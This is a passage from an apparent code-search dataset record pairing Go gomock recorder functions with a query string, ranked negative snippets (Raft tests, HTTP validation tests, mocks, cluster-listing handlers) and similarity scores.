ret[1].(error)\n\treturn ret0, ret1\n}", "func TestPartitionOfCluster(t *testing.T) {\n\n\n\trafts, cluster := makeMockRafts() // array of []raft.Node\n\n\tfor i:=0; i<5; i++ {\n\t\tdefer rafts[i].raft_log.Close()\n\t\tgo rafts[i].processEvents()\n\t}\n\n\ttime.Sleep(2*time.Second)\n\tvar ldr *RaftNode\n\tvar mutex sync.RWMutex\n\tfor {\n\t\tmutex.Lock()\n\t\tldr = getLeader(rafts)\n\t\tif (ldr != nil) {\n\t\t\tbreak\n\t\t}\n\t\tmutex.Unlock()\n\t}\n\n\tldr.Append([]byte(\"foo\"))\n\ttime.Sleep(2*time.Second)\n\n\tfor _, node := range rafts {\n\t\tselect {\n\t\tcase ci := <- node.CommitChannel():\n\t\t\t//if ci.Err != nil {t.Fatal(ci.Err)}\n\t\t\tif string(ci.Data.Data) != \"foo\" {\n\t\t\t\tt.Fatal(\"Got different data\")\n\t\t\t}\n\t\tdefault:\n\t\t}\n\t}\n\n\n\tfor {\n\t\tldr = getLeader(rafts)\n\t\tif (ldr != nil) {\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif(ldr.Id() == 1 || ldr.Id() == 0) {\n\t\tcluster.Partition([]int{0, 1}, []int{2, 3, 4})\n\t} else if(ldr.Id() == 2) {\n\t\tcluster.Partition([]int{0, 1, 3}, []int{2, 4})\n\t} else {\n\t\tcluster.Partition([]int{0, 1, 2}, []int{3, 4})\n\t}\n\n\tldr.Append([]byte(\"foo2\"))\n\tvar ldr2 *RaftNode\n\n\ttime.Sleep(2*time.Second)\n\n\tfor _, node := range rafts {\n\t\tselect {\n\t\tcase ci := <- node.CommitChannel():\n\t\t\tt.Fatal(\"Got different data \"+ string(ci.Data.Data))\n\t\tdefault:\n\t\t}\n\t}\n\n\tcluster.Heal()\n\n\ttime.Sleep(3*time.Second)\n\tfor {\n\t\tldr2 = getLeader(rafts)\n\n\t\tif (ldr2 != nil && ldr2.sm.serverID != ldr.sm.serverID) {\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Leader will not have \"fooAgain\" entry, will force new entry to all nodes\n\tldr2.Append([]byte(\"foo3\"))\n\ttime.Sleep(2*time.Second)\n\n\tfor _, node := range rafts {\n\t\tselect {\n\t\tcase ci := <- node.CommitChannel():\n\t\t\tif string(ci.Data.Data) != \"foo3\" {\n\t\t\t\tt.Fatal(\"Got different data \"+ string(ci.Data.Data))\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, node := range rafts {\n\t\tnode.Shutdown()\n\t}\n\n}", "func TestGetQueryOnMissingQueryParams(t *testing.T) {\n\t// set up test server and mocked LogStore\n\tmockLogStore := new(MockedLogStore)\n\tserver := newTestServer(mockLogStore)\n\ttestServer := httptest.NewServer(server.server.Handler)\n\tdefer testServer.Close()\n\tclient := testServer.Client()\n\n\t//\n\t// set up mock expectations\n\t//\n\n\t//\n\t// make calls\n\t//\n\ttests := []struct {\n\t\tquery map[string]string\n\t\texpectedValidationErr string\n\t}{\n\t\t// missing namespace\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"pod_name\": \"nginx-deployment-abcde\",\n\t\t\t\t\"container_name\": \"nginx\",\n\t\t\t\t\"start_time\": \"2018-01-01T12:00:00.000Z\",\n\t\t\t\t\"end_time\": \"2018-01-01T14:00:00.000Z\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"missing query parameter: namespace\",\n\t\t},\n\t\t// missing pod_name\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"namespace\": \"default\",\n\t\t\t\t\"container_name\": \"nginx\",\n\t\t\t\t\"start_time\": \"2018-01-01T12:00:00.000Z\",\n\t\t\t\t\"end_time\": \"2018-01-01T14:00:00.000Z\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"missing query parameter: pod_name\",\n\t\t},\n\t\t// missing container_name\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"namespace\": \"default\",\n\t\t\t\t\"pod_name\": \"nginx-deployment-abcde\",\n\t\t\t\t\"start_time\": \"2018-01-01T12:00:00.000Z\",\n\t\t\t\t\"end_time\": \"2018-01-01T14:00:00.000Z\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"missing query parameter: container_name\",\n\t\t},\n\t\t// missing start_time\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"namespace\": \"default\",\n\t\t\t\t\"pod_name\": \"nginx-deployment-abcde\",\n\t\t\t\t\"container_name\": \"nginx\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"missing query parameter: start_time\",\n\t\t},\n\t\t// invalid start_time\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"namespace\": \"default\",\n\t\t\t\t\"pod_name\": \"nginx-deployment-abcde\",\n\t\t\t\t\"container_name\": \"nginx\",\n\t\t\t\t\"start_time\": \"2018/01/01T12:00:00.000Z\",\n\t\t\t\t\"end_time\": \"2018-01-01T14:00:00.000Z\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"failed to parse start_time\",\n\t\t},\n\t\t// invalid end_time\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"namespace\": \"default\",\n\t\t\t\t\"pod_name\": \"nginx-deployment-abcde\",\n\t\t\t\t\"container_name\": \"nginx\",\n\t\t\t\t\"start_time\": \"2018-01-01T12:00:00.000Z\",\n\t\t\t\t\"end_time\": \"2018/01/01T14:00:00.000Z\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"failed to parse end_time\",\n\t\t},\n\t\t// start_time after end_time\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"namespace\": \"default\",\n\t\t\t\t\"pod_name\": \"nginx-deployment-abcde\",\n\t\t\t\t\"container_name\": \"nginx\",\n\t\t\t\t\"start_time\": \"2018-01-01T12:00:00.000Z\",\n\t\t\t\t\"end_time\": \"2018-01-01T10:00:00.000Z\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"query time-interval: start_time must be earlier than end_time\",\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\tqueryURL, _ := url.Parse(testServer.URL + \"/query\")\n\t\tqueryParams := queryURL.Query()\n\t\taddQueryParams(&queryParams, test.query)\n\t\tqueryURL.RawQuery = queryParams.Encode()\n\t\tresp, _ := client.Get(queryURL.String())\n\t\t// should return 400 (Bad Request)\n\t\tassert.Equalf(t, http.StatusBadRequest, resp.StatusCode, \"unexpected response code\")\n\t\texpectedErr := fmt.Sprintf(`{\"message\":\"invalid query\",\"detail\":\"%s\"}`, test.expectedValidationErr)\n\t\tassert.Equalf(t, expectedErr, readBody(t, resp), \"unexpected response\")\n\n\t}\n\n}", "func TestSyncClusterDeletedMachineSets(t *testing.T) {\n\tcases := []struct {\n\t\tname string\n\t\tmasterDeleted bool\n\t\tclusterComputes []string\n\t\trealizedComputes []string\n\t}{\n\t\t{\n\t\t\tname: \"master\",\n\t\t\tmasterDeleted: true,\n\t\t},\n\t\t{\n\t\t\tname: \"single compute\",\n\t\t\tclusterComputes: []string{\"compute1\"},\n\t\t},\n\t\t{\n\t\t\tname: \"multiple computes\",\n\t\t\tclusterComputes: []string{\"compute1\", \"compute2\"},\n\t\t},\n\t\t{\n\t\t\tname: \"master and computes\",\n\t\t\tmasterDeleted: true,\n\t\t\tclusterComputes: []string{\"compute1\", \"compute2\"},\n\t\t},\n\t\t{\n\t\t\tname: \"subset of computes\",\n\t\t\tclusterComputes: []string{\"compute1\", \"compute2\", \"compute3\"},\n\t\t\trealizedComputes: []string{\"compute1\", \"compute2\"},\n\t\t},\n\t}\n\tfor _, tc := range cases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tcontroller, clusterStore, machineSetStore, _, clusterOperatorClient := newTestClusterController()\n\n\t\t\tcluster := newCluster(tc.clusterComputes...)\n\t\t\tcluster.Status.MachineSetCount = len(tc.clusterComputes) + 1\n\t\t\tclusterStore.Add(cluster)\n\t\t\tnewMachineSets(machineSetStore, cluster, !tc.masterDeleted, tc.realizedComputes...)\n\n\t\t\tcontroller.syncCluster(getKey(cluster, t))\n\n\t\t\texpectedActions := []expectedClientAction{}\n\t\t\tif tc.masterDeleted {\n\t\t\t\texpectedActions = append(expectedActions, newExpectedMachineSetCreateAction(cluster, \"master\"))\n\t\t\t}\n\t\t\tfor _, clusterCompute := range tc.clusterComputes {\n\t\t\t\trealized := false\n\t\t\t\tfor _, realizedCompute := range tc.realizedComputes {\n\t\t\t\t\tif clusterCompute == realizedCompute {\n\t\t\t\t\t\trealized = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !realized {\n\t\t\t\t\texpectedActions = append(expectedActions, newExpectedMachineSetCreateAction(cluster, clusterCompute))\n\t\t\t\t}\n\t\t\t}\n\t\t\tstatusMasterMachineSets := 1\n\t\t\tif tc.masterDeleted {\n\t\t\t\tstatusMasterMachineSets = 0\n\t\t\t}\n\t\t\texpectedActions = append(expectedActions, expectedClusterStatusUpdateAction{\n\t\t\t\tmachineSets: len(tc.realizedComputes) + statusMasterMachineSets,\n\t\t\t})\n\n\t\t\tvalidateClientActions(t, \"TestSyncClusterDeletedMachineSets.\"+tc.name, clusterOperatorClient, expectedActions...)\n\n\t\t\tvalidateControllerExpectations(t, \"TestSyncClusterDeletedMachineSets.\"+tc.name, controller, cluster, len(expectedActions)-1, 0)\n\t\t})\n\t}\n}", "func (m *MockKeystore) GetAll(prefix string) ([]keystoreregistry.KeyValueVersion, error) {\n\tret := m.ctrl.Call(m, \"GetAll\", prefix)\n\tret0, _ := ret[0].([]keystoreregistry.KeyValueVersion)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (c *sqlmock) Query(query string, args []driver.Value) (driver.Rows, error) {\n\tnamedArgs := make([]driver.NamedValue, len(args))\n\tfor i, v := range args {\n\t\tnamedArgs[i] = driver.NamedValue{\n\t\t\tOrdinal: i + 1,\n\t\t\tValue: v,\n\t\t}\n\t}\n\n\tex, err := c.query(query, namedArgs)\n\tif ex != nil {\n\t\ttime.Sleep(ex.delay)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ex.rows, nil\n}", "func (m *MockQueryer) Query(arg0, arg1 string, arg2 map[string]interface{}, arg3 url.Values) (*query.ResultSet, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Query\", arg0, arg1, arg2, arg3)\n\tret0, _ := ret[0].(*query.ResultSet)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func setupTests() (*clusterHandler, *fakeclient.Client) {\n\txdsC := fakeclient.NewClient()\n\tch := newClusterHandler(&cdsBalancer{xdsClient: xdsC})\n\treturn ch, xdsC\n}", "func QueryAllClientStates(clientCtx client.Context, page, limit int) ([]exported.ClientState, int64, error) {\n\tparams := types.NewQueryAllClientsParams(page, limit)\n\tbz, err := clientCtx.JSONMarshaler.MarshalJSON(params)\n\tif err != nil {\n\t\treturn nil, 0, fmt.Errorf(\"failed to marshal query params: %w\", err)\n\t}\n\n\troute := fmt.Sprintf(\"custom/%s/%s/%s\", \"ibc\", types.QuerierRoute, types.QueryAllClients)\n\tres, height, err := clientCtx.QueryWithData(route, bz)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tvar clients []exported.ClientState\n\terr = clientCtx.JSONMarshaler.UnmarshalJSON(res, &clients)\n\tif err != nil {\n\t\treturn nil, 0, fmt.Errorf(\"failed to unmarshal light clients: %w\", err)\n\t}\n\treturn clients, height, nil\n}", "func (m *MockClient) Query(ctx context.Context, q interface{}, vars map[string]interface{}) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Query\", ctx, q, vars)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}" ]
[ "0.6286158", "0.6142385", "0.61344784", "0.60582596", "0.6027492", "0.60099757", "0.594991", "0.58845437", "0.5816208", "0.57655126", "0.5757039", "0.5655401", "0.5610382", "0.56000805", "0.5583258", "0.5577675", "0.55606264", "0.5538183", "0.5531205", "0.5515427", "0.5505302", "0.5451554", "0.54473084", "0.54410017", "0.5434604", "0.542975", "0.5403111", "0.53830624", "0.53416777", "0.53305805", "0.53275275", "0.5327301", "0.53143936", "0.53097725", "0.530801", "0.530507", "0.5289891", "0.52850866", "0.52847254", "0.52825385", "0.5281223", "0.5280956", "0.52800703", "0.52741", "0.5262669", "0.5257079", "0.52543837", "0.52430004", "0.5238584", "0.523274", "0.52008694", "0.5197747", "0.5194339", "0.51929444", "0.51907927", "0.5189773", "0.5189177", "0.51837367", "0.51816493", "0.51793826", "0.5178881", "0.5169332", "0.51666325", "0.5159776", "0.5155247", "0.5150045", "0.51498234", "0.5147797", "0.5137119", "0.51339567", "0.51197", "0.5112516", "0.5111787", "0.5105644", "0.5101541", "0.5099051", "0.5094455", "0.50936145", "0.5091705", "0.50911814", "0.5088702", "0.50748074", "0.5073156", "0.5069542", "0.50619686", "0.5053131", "0.5052853", "0.504681", "0.50432914", "0.50406694", "0.50336117", "0.50244457", "0.50229347", "0.50214034", "0.5013915", "0.50115484", "0.50093126", "0.49895418", "0.49890903", "0.49885726" ]
0.79990876
0
QueryAllCluster indicates an expected call of QueryAllCluster
func (mr *MockprometheusInterfaceMockRecorder) QueryAllCluster() *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "QueryAllCluster", reflect.TypeOf((*MockprometheusInterface)(nil).QueryAllCluster)) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (m *MockprometheusInterface) QueryAllCluster() ([]string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"QueryAllCluster\")\n\tret0, _ := ret[0].([]string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func ListAllCluster(c echo.Context) error {\n\tcblog.Info(\"call ListAllCluster()\")\n\n\tvar req struct {\n\t\tNameSpace string\n\t\tConnectionName string\n\t}\n\n\tif err := c.Bind(&req); err != nil {\n\t\treturn echo.NewHTTPError(http.StatusInternalServerError, err.Error())\n\t}\n\n\t// To support for Get-Query Param Type API\n\tif req.ConnectionName == \"\" {\n\t\treq.ConnectionName = c.QueryParam(\"ConnectionName\")\n\t}\n\n\t// Call common-runtime API\n\tallResourceList, err := cmrt.ListAllResource(req.ConnectionName, rsCluster)\n\tif err != nil {\n\t\treturn echo.NewHTTPError(http.StatusInternalServerError, err.Error())\n\t}\n\n\t// To support for Get-Query Param Type API\n\tif req.NameSpace == \"\" {\n\t\treq.NameSpace = c.QueryParam(\"NameSpace\")\n\t}\n\n\t// Resource Name has namespace prefix when from Tumblebug\n\tif req.NameSpace != \"\" {\n\t\tnameSpace := req.NameSpace + \"-\"\n\t\tfor idx, IID := range allResourceList.AllList.MappedList {\n\t\t\tif IID.NameId != \"\" {\n\t\t\t\tallResourceList.AllList.MappedList[idx].NameId = strings.Replace(IID.NameId, nameSpace, \"\", 1)\n\t\t\t}\n\t\t}\n\t\tfor idx, IID := range allResourceList.AllList.OnlySpiderList {\n\t\t\tif IID.NameId != \"\" {\n\t\t\t\tallResourceList.AllList.OnlySpiderList[idx].NameId = strings.Replace(IID.NameId, nameSpace, \"\", 1)\n\t\t\t}\n\t\t}\n\t\tfor idx, IID := range allResourceList.AllList.OnlyCSPList {\n\t\t\tif IID.NameId != \"\" {\n\t\t\t\tallResourceList.AllList.OnlyCSPList[idx].NameId = strings.Replace(IID.NameId, nameSpace, \"\", 1)\n\t\t\t}\n\t\t}\n\t}\n\n\tvar jsonResult struct {\n\t\tConnection string\n\t\tAllResourceList *cmrt.AllResourceList\n\t}\n\tjsonResult.Connection = req.ConnectionName\n\tjsonResult.AllResourceList = &allResourceList\n\n\treturn c.JSON(http.StatusOK, &jsonResult)\n}", "func (c *FakePortalDocumentClient) QueryAll(ctx context.Context, partitionkey string, query *Query, options *Options) (*pkg.PortalDocuments, error) {\n\titer := c.Query(\"\", query, options)\n\treturn iter.Next(ctx, -1)\n}", "func Test_Cluster_Availability(t *testing.T) {\n\ttotal := 5\n\tvar server [5]cluster.Server\n\t// server[4] is not started now.. (corresponding to pid=5)\n\tfor i := 0; i < total-1; i++ {\n\t\tserver[i] = cluster.New(i+1, \"../config.json\")\n\t}\n\n\t// Random messages\n\tmessage := \"hello\"\n\n\tcount := make([]int, 5)\n\tfor i := 0; i< total; i++ {\n\t\tcount[i] = 0\n\t}\n\t\n\tfor k :=0; k < total-1; k++ {\n\t\tserver[k].Outbox() <- &cluster.Envelope{SendTo: -1, SendBy: k+1, Msg: message}\n\t}\n\n\ttime.Sleep(time.Second)\n\n\tserver[total-1] = cluster.New(total, \"../config.json\")\n\n\twg := new(sync.WaitGroup)\n\tfor i := 0; i< total; i++ {\n\t\twg.Add(1)\n\t\tgo checkInput(server[i], &count[i], wg)\n\t}\n\n\tfor i := 0; i< total; i++ {\n\t\tclose(server[i].Outbox())\n\t}\n\twg.Wait()\n\n\n\tif count[4] != 4 {\n\t\tpanic (\"All messages not recieved..\")\n\t}\n\n\tt.Log(\"test of Availability of cluster passed.\")\n}", "func (o *VirtualizationBaseHostPciDeviceAllOf) GetClusterOk() (*VirtualizationBaseClusterRelationship, bool) {\n\tif o == nil || o.Cluster == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Cluster, true\n}", "func (mr *MockRdbClientMockRecorder) ListCluster(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"ListCluster\", reflect.TypeOf((*MockRdbClient)(nil).ListCluster), varargs...)\n}", "func (us *ClusterStore) GetAll() ([]model.Cluster, error) {\n\tvar cs []model.Cluster\n\tif err := us.db.Preload(clause.Associations).Find(&cs).Error; err != nil {\n\t\tif errors.Is(err, gorm.ErrRecordNotFound) {\n\t\t\treturn nil, nil\n\t\t}\n\t\treturn nil, err\n\t}\n\treturn cs, nil\n}", "func (o *VirtualizationBaseHostPciDeviceAllOf) HasCluster() bool {\n\tif o != nil && o.Cluster != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func ListAllClusters(response *JsonListClustersMap) *JsonListClustersMap {\n\tvar SIDCluster int\n\tvar SName string\n\tvar SAWSAccount int64\n\tvar SAWSRegion string\n\tvar SAWSEnvironment string\n\tvar SK8sVersion string\n\n\tvar SNodeType string\n\tvar SNodeInstance string\n\tvar STotalInstances int\n\n\tvar totalInstances int\n\n\tdescription := make(DescriptionMap)\n\n\tdb, err := sql.Open(\"mysql\", UserDB+\":\"+PassDB+\"@tcp(\"+HostDB+\":\"+PortDB+\")/\"+DatabaseDB+\"?charset=utf8\")\n\tcheckErr(err)\n\n\tdefer db.Close()\n\n\trows, err := db.Query(\"SELECT id_cluster, nome, aws_account, aws_region, aws_env, k8s_version FROM clusters ORDER BY nome\")\n\tcheckErr(err)\n\n\tfor rows.Next() {\n\t\terr = rows.Scan(&SIDCluster, &SName, &SAWSAccount, &SAWSRegion, &SAWSEnvironment, &SK8sVersion)\n\t\tcheckErr(err)\n\n\t\tdescription = DescriptionMap{}\n\t\ttotalInstances = 0\n\n\t\trows1, err := db.Query(\"SELECT node_type, node_instance, total_instances FROM nodes WHERE id_cluster=?\", SIDCluster)\n\t\tcheckErr(err)\n\n\t\tfor rows1.Next() {\n\t\t\terr = rows1.Scan(&SNodeType, &SNodeInstance, &STotalInstances)\n\t\t\tcheckErr(err)\n\n\t\t\tdescription[SNodeType] = append(\n\t\t\t\tdescription[SNodeType],\n\t\t\t\tDescriptionStruct{\n\t\t\t\t\tDescription{\n\t\t\t\t\t\tType: SNodeInstance,\n\t\t\t\t\t\tTotalTypeInstances: STotalInstances,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t)\n\n\t\t\ttotalInstances = totalInstances + STotalInstances\n\t\t}\n\n\t\t*response = append(\n\t\t\t*response,\n\t\t\tjsonListClusters{\n\t\t\t\tClusterName: SName,\n\t\t\t\tAws: AWS{\n\t\t\t\t\tAccount: SAWSAccount,\n\t\t\t\t\tRegion: SAWSRegion,\n\t\t\t\t\tEnvironment: SAWSEnvironment,\n\t\t\t\t},\n\t\t\t\tK8SVersion: SK8sVersion,\n\t\t\t\tInstances: Instances{\n\t\t\t\t\tTotalInstances: totalInstances,\n\t\t\t\t\tDescription: description,\n\t\t\t\t},\n\t\t\t},\n\t\t)\n\t}\n\n\treturn response\n}", "func (ck *clusterKinds) getAll() map[string]bool {\n\treturn ck.isNamespaced\n}", "func (m *CDatabase) FindAll() ([]Cluster, error) {\n\tvar clusters []Cluster\n\terr := db.C(COLLECTION).Find(bson.M{}).All(&clusters)\n\treturn clusters, err\n}", "func (e *BcsDataManager) GetAllClusterList(ctx context.Context, req *bcsdatamanager.GetClusterListRequest,\n\trsp *bcsdatamanager.GetClusterListResponse) error {\n\tblog.Infof(\"Received GetAllClusterList.Call request. Dimension:%s, page:%s, size:%s, startTime=%s, endTime=%s\",\n\t\treq.GetDimension(), req.GetPage(), req.GetSize(), time.Unix(req.GetStartTime(), 0),\n\t\ttime.Unix(req.GetEndTime(), 0))\n\tstart := time.Now()\n\tresult, total, err := e.model.GetClusterInfoList(ctx, req)\n\tif err != nil {\n\t\trsp.Message = fmt.Sprintf(\"get cluster list info error: %v\", err)\n\t\trsp.Code = bcsCommon.AdditionErrorCode + 500\n\t\tblog.Errorf(rsp.Message)\n\t\tprom.ReportAPIRequestMetric(\"GetAllClusterList\", \"grpc\", prom.StatusErr, start)\n\t\treturn nil\n\t}\n\trsp.Data = result\n\trsp.Message = bcsCommon.BcsSuccessStr\n\trsp.Code = bcsCommon.BcsSuccess\n\trsp.Total = uint32(total)\n\tprom.ReportAPIRequestMetric(\"GetAllClusterList\", \"grpc\", prom.StatusOK, start)\n\treturn nil\n}", "func TestCluster_EmptyNodes(t *testing.T) {\n\tclus := test.MustRunCluster(t, 3)\n\tdefer clus.Close()\n\n\tstate0, err0 := clus.GetNode(0).API.State()\n\tstate1, err1 := clus.GetNode(1).API.State()\n\tif err0 != nil || state0 != disco.ClusterStateNormal {\n\t\tt.Fatalf(\"unexpected node0 cluster state: %s, error: %v\", state0, err0)\n\t} else if err1 != nil || state1 != disco.ClusterStateNormal {\n\t\tt.Fatalf(\"unexpected node1 cluster state: %s, error: %v\", state1, err1)\n\t}\n}", "func TestGetClusterStatus(t *testing.T) {\n\tctx, cancelFunc := context.WithTimeout(context.Background(), standardTimeout)\n\tstatus, err := bat.GetClusterStatus(ctx)\n\tcancelFunc()\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to retrieve cluster status : %v\", err)\n\t}\n\n\tif status.TotalNodes == 0 {\n\t\tt.Fatalf(\"Cluster has no nodes\")\n\t}\n\n\tif status.TotalNodes != status.TotalNodesReady {\n\t\tt.Fatalf(\"Some nodes in the cluster are not ready\")\n\t}\n}", "func (fc *FakeCluster) Query(query string, opts *gocb.QueryOptions) (*FakeResult, error) {\n\tif fc.Force == \"true\" {\n\t\treturn &FakeResult{}, errors.New(\"Function Query forced error\")\n\t}\n\treturn &FakeResult{Force: fc.Force}, nil\n}", "func (mr *MockAllMockRecorder) Cluster() *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Cluster\", reflect.TypeOf((*MockAll)(nil).Cluster))\n}", "func (mr *MockRdbClientMockRecorder) GetCluster(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetCluster\", reflect.TypeOf((*MockRdbClient)(nil).GetCluster), varargs...)\n}", "func TestSuccessfulMultiQuery(t *testing.T) {\n\tlocations, err := metaweather.QueryLocations(\"san\")\n\tif err != nil {\n\t\tt.Fatalf(\"query returned error: %v\", err)\n\t}\n\tif !(len(locations) > 1) {\n\t\tt.Fatalf(\"number of query results is %d\", len(locations))\n\t}\n\tfor i, loc := range locations {\n\t\tif !strings.Contains(strings.ToLower(loc.Title), \"san\") {\n\t\t\tt.Fatalf(\"query result %d contains no 'san': %v\", i, loc)\n\t\t}\n\t}\n}", "func TestClusterEmpty(t *testing.T) {\n\tif testing.Short() {\n\t\tt.Skip(\"skipping cluster test in short mode.\")\n\t}\n\tt.Parallel()\n\n\ttc := newTestCluster(t)\n\tdefer tc.tearDown()\n\n\ttc.addSequinses(3)\n\ttc.makeVersionAvailable(v3)\n\ttc.expectProgression(down, noVersion, v3)\n\n\ttc.setup()\n\ttc.startTest()\n\ttc.assertProgression()\n}", "func (metadata *metadataImpl) GetAllClusterInfo() map[string]config.ClusterInformation {\n\treturn metadata.clusterInfo\n}", "func TestFindUnclusteredNeighbours(t *testing.T) {\n\tlog.Println(\"Executing TestFindUnclusteredNeighbours\")\n\tclusterList := []Clusterable{\n\t\tSimpleClusterable{0},\n\t\tSimpleClusterable{1},\n\t\tSimpleClusterable{-1},\n\t\tSimpleClusterable{1.5},\n\t\tSimpleClusterable{-0.5},\n\t}\n\tvisited := make(map[string]bool)\n\teps := 1.0\n\tneighbours := findUnclusteredNeighbours(clusterList[0], clusterList, visited, eps)\n\n\tassertEquals(t, 4, len(neighbours))\n}", "func TestQuery(t *testing.T) {\n\t_, smc := getConnectionToShardMasterRaftLeader(t)\n\n\tfireQueryRequest(t, smc, &pb.QueryArgs{Num: -1})\n\n}", "func (mcr *MiddlewareClusterRepo) GetAll() ([]metadata.MiddlewareCluster, error) {\n\tsql := `\n\t\tselect id, cluster_name, owner_id, env_id, del_flag, create_time, last_update_time\n\t\tfrom t_meta_middleware_cluster_info\n\t\twhere del_flag = 0\n\t\torder by id;\n\t`\n\tlog.Debugf(\"metadata MiddlewareClusterRepo.GetAll() sql: \\n%s\", sql)\n\n\tresult, err := mcr.Execute(sql)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// init []*MiddlewareClusterInfo\n\tmiddlewareClusterInfoList := make([]*MiddlewareClusterInfo, result.RowNumber())\n\tfor i := range middlewareClusterInfoList {\n\t\tmiddlewareClusterInfoList[i] = NewEmptyMiddlewareClusterInfoWithGlobal()\n\t}\n\t// map to struct\n\terr = result.MapToStructSlice(middlewareClusterInfoList, constant.DefaultMiddlewareTag)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// init []dependency.Entity\n\tentityList := make([]metadata.MiddlewareCluster, result.RowNumber())\n\tfor i := range entityList {\n\t\tentityList[i] = middlewareClusterInfoList[i]\n\t}\n\n\treturn entityList, nil\n}", "func TestSimulateCluster(t *testing.T) {\n\trnd := rand.New(rand.NewSource(0))\n\n\tvar (\n\t\tnumNodes = 10_000\n\t)\n\n\tnodes, states := createTestCluster(t, rnd, numNodes)\n\n\t// Assert that the set of leaves of each node is correct.\n\tt.Run(\"leaves\", func(t *testing.T) {\n\t\tfor i, n := range nodes {\n\t\t\tfor p := len(n.Predecessors.Descriptors) - 1; p >= 0; p-- {\n\t\t\t\tactual := n.Predecessors.Descriptors[p]\n\n\t\t\t\t// Wraparound\n\t\t\t\texpectIdx := i - (len(n.Predecessors.Descriptors) - p)\n\t\t\t\tif expectIdx < 0 {\n\t\t\t\t\texpectIdx = len(nodes) - (-expectIdx)\n\t\t\t\t}\n\t\t\t\texpect := nodes[expectIdx].Node\n\n\t\t\t\trequire.Equal(t, expect, actual,\n\t\t\t\t\t\"node %s (index=%d) has wrong predecessors. expected predecessor %d to be %s, founud %s\",\n\t\t\t\t\tn.Node.ID.Digits(32, 8),\n\t\t\t\t\ti,\n\t\t\t\t\tp,\n\t\t\t\t\texpect.ID.Digits(32, 8),\n\t\t\t\t\tactual.ID.Digits(32, 8),\n\t\t\t\t)\n\t\t\t}\n\n\t\t\tfor s := 0; s < len(n.Successors.Descriptors); s++ {\n\t\t\t\tactual := n.Successors.Descriptors[s]\n\n\t\t\t\t// Wraparound\n\t\t\t\texpectIdx := i + s + 1\n\t\t\t\tif expectIdx >= len(nodes) {\n\t\t\t\t\texpectIdx = expectIdx - len(nodes)\n\t\t\t\t}\n\t\t\t\texpect := nodes[expectIdx].Node\n\n\t\t\t\trequire.Equal(t, expect, actual,\n\t\t\t\t\t\"node %s (index=%d) has wrong successors. expected successor %d to be %s, found %s\",\n\t\t\t\t\tn.Node.ID.Digits(32, 8),\n\t\t\t\t\ti,\n\t\t\t\t\ts,\n\t\t\t\t\texpect.ID.Digits(32, 8),\n\t\t\t\t\tactual.ID.Digits(32, 8),\n\t\t\t\t)\n\t\t\t}\n\t\t}\n\t})\n\n\t// Test routing keys and ensure that their final destination is the correct node.\n\tt.Run(\"routing\", func(t *testing.T) {\n\t\tvar numKeys = 1_000_000\n\n\t\tfor i := 0; i < numKeys; i++ {\n\t\t\tkey := id.ID{Low: uint64(rnd.Uint32())}\n\n\t\t\t// Pick a random node to start the request from\n\t\t\tseed := nodes[rnd.Intn(len(nodes))]\n\t\t\tdest := fakeRoute(t, seed, key, states)\n\n\t\t\t// Find the ~10 nodes closest to our key to make sure none of them are\n\t\t\t// closer. This lets us do a ton of lookups very quickly even though\n\t\t\t// it looks funky.\n\t\t\tclosest := sort.Search(len(nodes), func(i int) bool {\n\t\t\t\treturn id.Compare(nodes[i].Node.ID, key) >= 0\n\t\t\t})\n\t\t\tstart := closest - 5\n\t\t\tend := closest + 5\n\t\t\tif start < 0 {\n\t\t\t\tstart = 0\n\t\t\t}\n\t\t\tif end >= len(nodes) {\n\t\t\t\tend = len(nodes) - 1\n\t\t\t}\n\n\t\t\tdist := idDistance(dest.ID, key, id.MaxForSize(32))\n\t\t\tfor _, s 